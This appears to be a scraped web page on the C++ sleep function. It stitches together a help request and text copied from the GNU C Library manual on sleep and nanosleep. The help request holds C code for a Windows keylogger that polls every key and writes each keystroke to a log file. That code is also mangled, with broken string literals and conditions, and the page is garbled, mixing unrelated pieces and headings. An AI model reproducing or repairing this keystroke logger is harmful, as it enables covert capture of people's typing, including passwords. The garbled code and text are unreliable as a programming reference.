Dev C++ Sleep Function
Posted By admin On 16.04.20A proper sleep function, one which passes control to the system scheduler and allows other processes to run, would not be portable between Windows and the various Unix-like systems. Moreover, while in practice timet is almost invariably defined as an integral value holding the seconds since 00:00 1 Jan 1970, the key word here is almost.
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
#include <stdlib.h>
#include <iostream>
#include <conio.h>
these header files are used but sleep error comes plz help
while(1)
{
sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)-32767)
{
FILE *file;
file=fopen(FileName,'a+');
if(fileNULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs('rn[SHIFT]rn',file);
fclose(file);
break;
case VK_RETURN:
fputs('rn[ENTER]rn',file);
fclose(file);
break;
case VK_BACK:
fputs('rn[BACKSPACE]rn',file);
fclose(file);
break;
case VK_TAB:
fputs('rn[TAB]rn',file);
fclose(file);
break;
case VK_CONTROL:
fputs('rn[CTRL]rn',file);
fclose(file);
break;
case VK_DELETE:
fputs('rn[DEL]rn',file);
fclose(file);
break;
case VK_OEM_1:
fputs('rn[;:]rn',file);
fclose(file);
break;
case VK_OEM_2:
fputs('rn[/?]rn',file);
fclose(file);
break;
case VK_OEM_3:
fputs('rn[`~]rn',file);
fclose(file);
break;
case VK_OEM_4:
fputs('rn[ [{ ]rn',file);
fclose(file);
break;
case VK_OEM_5:
fputs('rn[ ]rn',file);
fclose(file);
break;
break;
default:
fclose(file);
break;
}
}
}
}
}
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Previous: Setting an Alarm, Up: Date and Time [Contents][Index]
21.7 Sleeping
The function sleep gives a simple way to make the program waitfor a short interval. If your program doesn’t use signals (except toterminate), then you can expect sleep to wait reliably throughoutthe specified interval. Otherwise, sleep can return sooner if asignal arrives; if you want to wait for a given interval regardless ofsignals, use select (see Waiting for I/O) and don’t specifyany descriptors to wait for.
Preliminary: MT-Unsafe sig:SIGCHLD/linux AS-Unsafe AC-Unsafe See POSIX Safety Concepts.
The sleep function waits for seconds seconds or until a signalis delivered, whichever happens first.
If sleep returns because the requested interval is over,it returns a value of zero. If it returns because of delivery of asignal, its return value is the remaining time in the sleep interval.
The sleep function is declared in unistd.h.
Resist the temptation to implement a sleep for a fixed amount of time byusing the return value of sleep, when nonzero, to callsleep again. This will work with a certain amount of accuracy aslong as signals arrive infrequently. But each signal can cause theeventual wakeup time to be off by an additional second or so. Suppose afew signals happen to arrive in rapid succession by bad luck—there isno limit on how much this could shorten or lengthen the wait.
Dev C Sleep Function In Excel
Instead, compute the calendar time at which the program should stopwaiting, and keep trying to wait until that calendar time. This won’tbe off by more than a second. With just a little more work, you can useselect and make the waiting period quite accurate. (Of course,heavy system load can cause additional unavoidable delays—unless themachine is dedicated to one application, there is no way you can avoidthis.)
On some systems, sleep can do strange things if your program usesSIGALRM explicitly. Even if SIGALRM signals are beingignored or blocked when sleep is called, sleep mightreturn prematurely on delivery of a SIGALRM signal. If you haveestablished a handler for SIGALRM signals and a SIGALRMsignal is delivered while the process is sleeping, the action takenmight be just to cause sleep to return instead of invoking yourhandler. And, if sleep is interrupted by delivery of a signalwhose handler requests an alarm or alters the handling of SIGALRM,this handler and sleep will interfere.
On GNU systems, it is safe to use sleep and SIGALRM inthe same program, because sleep does not work by means ofSIGALRM.
Preliminary: MT-Safe AS-Safe AC-Safe See POSIX Safety Concepts.
If resolution to seconds is not enough the nanosleep function canbe used. As the name suggests the sleep interval can be specified innanoseconds. The actual elapsed time of the sleep interval might belonger since the system rounds the elapsed time you request up to thenext integer multiple of the actual resolution the system can deliver.
*requested_time is the elapsed time of the interval you want tosleep.
The function returns as *remaining the elapsed time left in theinterval for which you requested to sleep. If the interval completedwithout getting interrupted by a signal, this is zero.
struct timespec is described in Time Types.
If the function returns because the interval is over the return value iszero. If the function returns -1 the global variable errnois set to the following values:
EINTRThe call was interrupted because a signal was delivered to the thread.If the remaining parameter is not the null pointer the structurepointed to by remaining is updated to contain the remainingelapsed time.
EINVALThe nanosecond value in the requested_time parameter contains anillegal value. Either the value is negative or greater than or equal to1000 million.
This function is a cancellation point in multi-threaded programs. Thisis a problem if the thread allocates some resources (like memory, filedescriptors, semaphores or whatever) at the time nanosleep iscalled. If the thread gets canceled these resources stay allocateduntil the program ends. To avoid this calls to nanosleep shouldbe protected using cancellation handlers.
The nanosleep function is declared in time.h.
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Dev C++ Sleep Function Chart
Previous: Setting an Alarm, Up: Date and Time [Contents][Index]